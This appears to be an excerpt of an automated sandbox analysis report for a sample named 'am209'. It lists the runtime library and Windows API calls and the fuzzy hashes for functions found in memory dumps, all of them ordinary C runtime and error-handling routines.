GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0015065E,?,000000FF,00000000,00000000), ref: 00150836
__dosmaperr.LIBCMT ref: 0015083D
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0015087A

Part of subcall function 00150AA2: __dosmaperr.LIBCMT ref: 00150AD7

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 18db30b10711c8a79670534df2a2b81ff61f32197952b7d6406624fed6f14dec
Instruction ID: 010bb0e408e143457c329f58a8114d6d55ff30a481160e62aab54df822dc964a
Opcode Fuzzy Hash: 18db30b10711c8a79670534df2a2b81ff61f32197952b7d6406624fed6f14dec
Instruction Fuzzy Hash: 10413A75900644EBDB25EFB5DC45DABBBF9EF88301B008829F966D7621E7309948CB60

Function 00144E30 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00144E66
std::_Lockit::_Lockit.LIBCPMT ref: 00144E86
std::_Lockit::~_Lockit.LIBCPMT ref: 00144EA6
std::_Facet_Register.LIBCPMT ref: 00144F41
std::_Lockit::~_Lockit.LIBCPMT ref: 00144F59

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 4a6793636c543a71400884fb30ef4611f10dd8aba3dda91044b7f03e50e96426
Instruction ID: a4f3b381849b42dcce0a2611ebdb89da1f259f50872a8ba0ce89a2e3d3fbf76f
Opcode Fuzzy Hash: 4a6793636c543a71400884fb30ef4611f10dd8aba3dda91044b7f03e50e96426
Instruction Fuzzy Hash: A541CE71A002158FCB24DF98D891BAEB7B4FB14B20F14416DE80A6B362DB35AE45CBD1

Function 00160DDB Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00160DF3

Part of subcall function 001580D6: HeapFree.KERNEL32(00000000,00000000,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?), ref: 001580EC
Part of subcall function 001580D6: GetLastError.KERNEL32(?,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?,?), ref: 001580FE

_free.LIBCMT ref: 00160E05
_free.LIBCMT ref: 00160E17
_free.LIBCMT ref: 00160E29
_free.LIBCMT ref: 00160E3B

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 73f250c77c28a59f7fb9b8966268d8881e92b658d3426ded448668e6dab13e6b
Instruction ID: 7dbef786ba7155a81e1f698ea475b5a320a5b4180a100f79c108808cd48f0f35
Opcode Fuzzy Hash: 73f250c77c28a59f7fb9b8966268d8881e92b658d3426ded448668e6dab13e6b
Instruction Fuzzy Hash: B8F01232505210AB8A35DFA8E8C1C5B73EAFB047117650C49F429EBA51CB75FDD48B90

Function 0015EFA2 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0015F13C

Strings

*?, xrefs: 0015EFE5

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 468dfb2811111aadac8ef4596be962058f91cbffc954c396bb7f627da629d5aa
Instruction ID: 72837a48d54a553d49b5fe9ca2f4aff306916be7a6fe3980a42d9bd00b5efb6c
Opcode Fuzzy Hash: 468dfb2811111aadac8ef4596be962058f91cbffc954c396bb7f627da629d5aa
Instruction Fuzzy Hash: 08612D75E00219EFCB14CFA8C8815ADFBF5EF58310B298169E815FB341D7719E468B90

Function 00124910 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0012499F

Part of subcall function 0014AF76: RaiseException.KERNEL32(E06D7363,00000001,00000003,001839C4,?,?,?,001839C4), ref: 0014AFD6

Strings

ios_base::badbit set, xrefs: 00124945
ios_base::failbit set, xrefs: 0012494F
ios_base::eofbit set, xrefs: 00124954

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 80f994e9184be89ff9a676642a409e5357402af977933844ab122360cf457c1f
Instruction ID: 7e06e93ff82c457798bb691c21bbd99b5f66471f604c22d7817bc551881bcdf9
Opcode Fuzzy Hash: 80f994e9184be89ff9a676642a409e5357402af977933844ab122360cf457c1f
Instruction Fuzzy Hash: E71108B15007046BCB14DFA8E802B9BB7E8EF65310F14C52EF9599B641EB70E964CB91

Function 001590E5 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0015916F

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ed276365596a8a1063d24e94a118d056c93bad8c71ebdf723596cc360760eaf0
Instruction ID: 4c91f79cab0efaa363e7414263f0918576b1ba5027e396f848088af3aa1f4fba
Opcode Fuzzy Hash: ed276365596a8a1063d24e94a118d056c93bad8c71ebdf723596cc360760eaf0
Instruction Fuzzy Hash: 2AB15432900285EFDB158F28C881BFEBBE5EF55351F2541A9EC65AF281D7348D09CB62

Function 0014C9EB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0014CAB2
___AdjustPointer.LIBCMT ref: 0014CAD5
___AdjustPointer.LIBCMT ref: 0014CB71

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 31d58b06a53706d1a746398c3445e30ad1f516afd1af25b9d6ae7189ad9e8e8e
Instruction ID: 04ee81dec5b160f44fc502093988f2f4807801f9de1830892b0a8d5746ef6d95
Opcode Fuzzy Hash: 31d58b06a53706d1a746398c3445e30ad1f516afd1af25b9d6ae7189ad9e8e8e
Instruction Fuzzy Hash: 5C51F272A02206AFDB69CF14D842BBAB3A4FF54350F25412DE905972B1E731ED81CBD1

Function 00129A20 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,63240FED), ref: 00129A99
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00129B00
GetProcAddress.KERNEL32(00000000), ref: 00129B07

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 5455daa5a40a92f229c18b7ea4f1ba7875c36257a1f1831d7367b1f13d1ec846
Instruction ID: 076bb9532b45dde9b3e04b62aaaa6249603c1ad8aac6fba316b3a7ba5e3f2e05
Opcode Fuzzy Hash: 5455daa5a40a92f229c18b7ea4f1ba7875c36257a1f1831d7367b1f13d1ec846
Instruction Fuzzy Hash: DE514670D042289BDB14EF2CED49BEDBB74EB55310F5042A8F808A72D1EB349AD0CB91

Function 00145D40 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00145E17
std::_Rethrow_future_exception.LIBCPMT ref: 00145E69
std::_Rethrow_future_exception.LIBCPMT ref: 00145E79

Part of subcall function 00123A60: __Mtx_unlock.LIBCPMT ref: 00123B54

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Mtx_unlockRethrow_future_exceptionstd::_
String ID:
API String ID: 3298230783-0
Opcode ID: b1345fdedde3d734f9694635d3958a66d29bfbdf363abda1ea56b9e756a1b820
Instruction ID: c06c7ea67d5ee08b6d6584eb5751e501567c87c9df7f6e512b578b649d3e8848
Opcode Fuzzy Hash: b1345fdedde3d734f9694635d3958a66d29bfbdf363abda1ea56b9e756a1b820
Instruction Fuzzy Hash: 15412B71D00708ABCB15EBA4D802BAEBBF9AF26700F40456DF546A3552EB31A644C7A2

Function 001670AE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0016717E
_free.LIBCMT ref: 001671A7
SetEndOfFile.KERNEL32(00000000,0016390D,00000000,00157311,?,?,?,?,?,?,?,0016390D,00157311,00000000), ref: 001671D9
GetLastError.KERNEL32(?,?,?,?,?,?,?,0016390D,00157311,00000000,?,?,?,?,00000000), ref: 001671F5

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 5e2816539865fd703219a5db1c25afad3a5365a0b260c74eabadcfc54a6efb9e
Instruction ID: f2410ba015dc562a2cd7353f184ce76c597e222ccf5a7a92390fc824e582bf40
Opcode Fuzzy Hash: 5e2816539865fd703219a5db1c25afad3a5365a0b260c74eabadcfc54a6efb9e
Instruction Fuzzy Hash: 69412C32904605FBDB126BB8CC42B9D3775AF66369F250151FD34EB1D2EB34C8648760

Function 0014E9D6 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ebc58f6b44a3745d32c4875550e885d8489df889be0d598298bf8f506ac0c1
Instruction ID: 3e08f647145768c0aa3ba990b50c7f0e285e918db240da117c4d0e1b33be3225
Opcode Fuzzy Hash: c4ebc58f6b44a3745d32c4875550e885d8489df889be0d598298bf8f506ac0c1
Instruction Fuzzy Hash: C341E972A00704BFE7259F78CC41B5ABBE9FB58710F20866AF125DB6D1D3B1E9418780

Function 00122F00 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00122F9F
GetCurrentThreadId.KERNEL32 ref: 00122FAB
__Mtx_unlock.LIBCPMT ref: 00122FF2
__Cnd_broadcast.LIBCPMT ref: 00122FFB

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 23d299a427f62ed04c0a05a5e8de8a74725e253803e418b3d24353031c4a9ebe
Instruction ID: 4beb1b9cbabcb152a7ad6a2c2c56b43cf884095a52fad89f9b4e88199b5fb2f3
Opcode Fuzzy Hash: 23d299a427f62ed04c0a05a5e8de8a74725e253803e418b3d24353031c4a9ebe
Instruction Fuzzy Hash: 3541C0B1A01621AFCB21DF24D940B5AB7E8FF28310F044629E82AC7751EB35EA14CBD1

Function 0015EED3 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0014E878: _free.LIBCMT ref: 0014E886

Part of subcall function 0015E37F: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,0015C502,?,00000000,00000000), ref: 0015E42B

GetLastError.KERNEL32 ref: 0015EF3B
__dosmaperr.LIBCMT ref: 0015EF42
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0015EF81
__dosmaperr.LIBCMT ref: 0015EF88

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 9e3b72f8279d40dde06391102705e0eb2ce19c087d8f9ec6c784af7240c07e1c
Instruction ID: 3717646e65f013697f1801d77c4b60b6208c89fdbea08150862b2471c0af94e1
Opcode Fuzzy Hash: 9e3b72f8279d40dde06391102705e0eb2ce19c087d8f9ec6c784af7240c07e1c
Instruction Fuzzy Hash: B221B0B1A04619FF9B28AF658C8192BBBE9FF103667108519FD78CF150DB30EE4487A0

Function 00156CF0 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156CF5
_free.LIBCMT ref: 00156D52
_free.LIBCMT ref: 00156D88
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156D93

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 167e147c6d38e7f9806bd89224418b4099d9ddc36034dc3203741f391f4edc68
Instruction ID: f2151499fc2ca22364f400cdc06be7746a3973c8bec3dbb94f997c0da4469b25
Opcode Fuzzy Hash: 167e147c6d38e7f9806bd89224418b4099d9ddc36034dc3203741f391f4edc68
Instruction Fuzzy Hash: 0F11A332304101EAD61036A46C81A2B266BDBD13777A50B38FDB4AF5E3DF658C8D4290

Function 00147F88 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00147EE9: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,00147F3B,00000014,?,00147F7C,00000014,?,00122D32,00000000,00000014), ref: 00147EF5

__Mtx_unlock.LIBCPMT ref: 00147FCE
FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,63240FED,?,?,?,001687B0,000000FF), ref: 00147FF6
__Mtx_unlock.LIBCPMT ref: 00148031
__Cnd_broadcast.LIBCPMT ref: 00148042

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Mtx_unlock$CallbackCnd_broadcastFreeHandleLibraryModuleReturnsWhen
String ID:
API String ID: 420990631-0
Opcode ID: 01918a40d8bd24ae4fa2a4f103704e135f21d233efb9dabd9b73f0b66feae355
Instruction ID: 638383550bb40b83383681bd213dec0678bc66c01511fa65e64ccece872dcf27
Opcode Fuzzy Hash: 01918a40d8bd24ae4fa2a4f103704e135f21d233efb9dabd9b73f0b66feae355
Instruction Fuzzy Hash: CA110876908611BBCB217B65AC02A1F77A8EF60B20F00091AFD15A3AB2DF35D944C7A1

Function 00156E47 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00151187,00122397), ref: 00156E4C
_free.LIBCMT ref: 00156EA9
_free.LIBCMT ref: 00156EDF
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00151187,00122397), ref: 00156EEA

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: af922b4111cad7259812e44da5427053eb267e8393de547b27f9c91573c876ca
Instruction ID: 06ae4bda3c6e234a2aeae93c104b006841c1e64c9d5db6023ccfde3442681cb5
Opcode Fuzzy Hash: af922b4111cad7259812e44da5427053eb267e8393de547b27f9c91573c876ca
Instruction Fuzzy Hash: 2A11C636201100EADB11A678EC82D2B356ADBD13777A50338FD34AF1E2DF25CC8D4290

Function 00159DBF Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000020,00000000,?,00000000,?,00000000,?,001658B7,?,?,?,00000020,00000001), ref: 00159DD5
GetLastError.KERNEL32(?,001658B7,?,?,?,00000020,00000001), ref: 00159DDF
__dosmaperr.LIBCMT ref: 00159DE6

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: e0827e4b97ad31e576117557bfbd853bcc82fa9c926a09b0725d10e4f0d61f22
Instruction ID: 5cd5c59be6f439882480e1dc3c9881e2bdf504b5422c6cc8e11fb4af5fa3cd37
Opcode Fuzzy Hash: e0827e4b97ad31e576117557bfbd853bcc82fa9c926a09b0725d10e4f0d61f22
Instruction Fuzzy Hash: A8F04B32600515FB8B215BA6CC09996BF69FF447A23048510FE29CF520D731E8A5DBD1

Function 00159E28 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000020,00000000,?,00000000,?,00000000,?,00165842,?,?,?,?,00000020,00000001), ref: 00159E3E
GetLastError.KERNEL32(?,00165842,?,?,?,?,00000020,00000001), ref: 00159E48
__dosmaperr.LIBCMT ref: 00159E4F

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: add3bfab964283d8d666b5c021463fb053e48c986821b3c5bfe45053c9fa5fc5
Instruction ID: 89053ff3b7d24f62ef6d0842c93b52b06c8775f078ef025a7c1a674b0722bc82
Opcode Fuzzy Hash: add3bfab964283d8d666b5c021463fb053e48c986821b3c5bfe45053c9fa5fc5
Instruction Fuzzy Hash: 9FF06932200115FB8F219BA6CC0999ABF69FF857A23048511FE2DCE420D731E8A5DBD1

Function 0016741A Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00163F02,00000000,00000001,00000000,00000000,?,00157A66,?,?,00000000), ref: 00167431
GetLastError.KERNEL32(?,00163F02,00000000,00000001,00000000,00000000,?,00157A66,?,?,00000000,?,00000000,?,00157FB2,?), ref: 0016743D

Part of subcall function 00167403: CloseHandle.KERNEL32(FFFFFFFE,0016744D,?,00163F02,00000000,00000001,00000000,00000000,?,00157A66,?,?,00000000,?,00000000), ref: 00167413

___initconout.LIBCMT ref: 0016744D

Part of subcall function 001673C5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001673F4,00163EEF,00000000,?,00157A66,?,?,00000000,?), ref: 001673D8

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,00163F02,00000000,00000001,00000000,00000000,?,00157A66,?,?,00000000,?), ref: 00167462

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 7f2fa5cd01ea282248b4ba13f3536bdacf1a35f5ba6e8ad6394dfbc88eb1489d
Instruction ID: ff54e41514beba80d502365df8be2060e519ec9b01ca8e050b1386c621d3a123
Opcode Fuzzy Hash: 7f2fa5cd01ea282248b4ba13f3536bdacf1a35f5ba6e8ad6394dfbc88eb1489d
